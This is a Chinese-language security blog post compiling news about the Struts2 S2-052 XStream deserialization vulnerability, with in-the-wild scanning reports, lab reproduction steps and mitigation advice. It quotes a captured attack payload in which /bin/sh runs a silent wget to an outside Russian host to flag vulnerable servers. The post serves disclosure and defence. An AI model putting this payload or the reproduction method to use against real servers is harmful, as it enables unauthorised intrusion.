居正:struts2又出新漏洞啦(已经见怪不怪了),来看看小编整理的相关资料吧~
9月5日,千疮百孔的 Struts2 应用又曝出存在新的高危远程代码执行漏洞(S2-052)。该漏洞由 lgtm.com 的安全研究员汇报,编号为 CVE-2017-9805 ,漏洞危害程度为高危(Critical)。FreeBuf 和漏洞盒子第一时间发布预警,而 Apache Struts 官方也很快发布了漏洞补丁,对此进行修复。其实,相似的漏洞已经在 Struts 中多次发现,今年早些时候攻击者还利用了 Windows 服务器中的 Apache Struts 漏洞散发 Cerber 勒索软件。
近日,来自思科 Talos 实验室和 NVISO 实验室的研究员也发现,已经有攻击者真实利用了 S2-052 的漏洞。
事实上,漏洞爆出的第二天,就有研究人员利用这个漏洞进行了渗透测试。
有一些研究人员表示,这个远程代码利用漏洞与 Struts 反序列化处理不受信任的数据有关,会影响自 2008 年以来所有版本的 Apache Struts,从 Struts 2.5 到 Struts 2.5.12。由于 Struts REST 通信插件在反序列化过程中无法合理处理 XML payloads,因此所有使用这个插件的 web 应用都有可能遭到远程代码执行攻击。目前财富 100 强的企业中,至少有 65% 的企业使用 Struts,因此,这些企业都应当提高警惕。
而来自 Contrast Security 的安全专家则表示:
这个漏洞只影响同时使用 Struts 2 和 Struts 2 REST 插件的应用。ZDNet 对此漏洞影响的报道有些夸大,他们可能默认了所有使用 Struts 2 的人都会使用 Struts 2 REST 插件。而我们所检测到的数据显示,我们所负责的 Java 应用使用 Struts 2 REST 插件的比例不到 1%。来自 Maven 的数据显示,Struts 2 核心库拥有 167 名下游客户,而 Struts 2 REST 插件库则只有 9 名下游客户,由此可以看出这个插件的应用范围和漏洞的影响范围。
不论是影响范围广,还是影响范围小,只要有漏洞,就有可能被攻击者利用。
来自思科 Talos 实验室和 NVISO 实验室的研究员就表示,有攻击者利用一个俄罗斯网站发送请求并搜集结果,检测是否存在漏洞尚未修复的服务器,以便进一步展开攻击。
漏洞爆出后,我们很快就发现攻击者利用这个漏洞的实例。目前,利用实例看起来只处于初步探测阶段,同时会发出请求、检测可能存在的未修复漏洞的目标。如下是我们检测到的发出 HTTP 请求的样本。
<string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string>
这个请求将会发起 wegt 请求,将 HTTP 的相应结果写入 /dev/null。这意味着这个请求纯粹进行的是浏览检测活动,可以识别远程服务器上有哪些网站存在可被利用的漏洞。
NVISO 安全专家也检测到了类似结果:
由于该行为向 /struts2-rest-showcase/orders/3 发送了 POST 请求,因此我们第一时间检测到了这个活动抓包结果显示,这个活动主要是为了探查存在漏洞的目标:抓包到的 payload 实际上是 /bin/sh 命令,能执行某被入侵的俄罗斯网站发布的静默 wget 命令,获取请求浏览的网站名称,而下载内容则会被丢弃。
Talos 研究员还表示,这个活动探测过程中,有可能会发送恶意文件。目前还在进一步分析之中。
这再一次说明,只要有漏洞爆出,黑客黑快就会进行利用。在S2-052 漏洞爆出的 48 小时内,我们不断监测利用该漏洞的系统活动。其实漏洞出现的第一时间就有补丁发布,但是黑客为了钱,还是能很快进行逆向并开发出利用代码。如今的网络环境中,如果企业花几星期甚至几个月对漏洞进行应急响应已经来不及了。现在需要在几天或者几小时内迅速响应才能避免更多损失。在应急响应中,企业应当分秒必争。
以下附上攻击实例利用代码,仅做研究参考,严禁用于非法目的。
0x00 前言
2017年9月5日晚间,Apache官方发布Struts 2紧急漏洞公告(S2-052),
https://cwiki.apache.org/confluence/display/WW/S2-052,漏洞编号为CVE-2017-9805,因为Struts2 REST插件的XStream组件存在反序列化漏洞,导致远程代码执行。
Struts 2.5 – Struts 2.5.12版本都会受到该漏洞影响,这个漏洞危险级别被定义为严重级别。
0x01 复现
1. 从struts2的官网下载最后受影响的版本struts-2.5.12,地址:
http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
下载完成之后,解压压缩文件,将其中app目录下的struts2-rest-showcase.war文件放到tomcat的webapps目录下。
2. 访问浏览器http://127.0.0.1:8080/struts2-rest-showcase/页面,会显示图中的页面,选择一个ID,点击编辑。
3. 进入编辑页面,点击submit按钮,burpsuite抓包拦截此数据。
请求,将请求中的Content-Type的值改为 application/xml
然后POST的数据用如下xml内容代替。
4. 重放数据包,成功弹出计算器。
0x02 防御方案
方案一
升级Struts到2.5.13最新版本
方案二
.如果系统没有使用Struts REST插件,那么可以直接删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端文件的扩展名
<constant name=”struts.action.extension” value=”xhtml,,json” />
整理自:
http://www.freebuf.com/news/147293.html
https://www.secpulse.com/archives/60263.html
由于版权问题,freebuf上有两篇优秀的复现/利用文章不能全文转载,这里给出原地址:
Struts S2-052漏洞利用方式实验解析(附EXP):http://www.freebuf.com/vuls/146874.html
Struts S2-052反弹Shell实验:http://www.freebuf.com/vuls/147017.html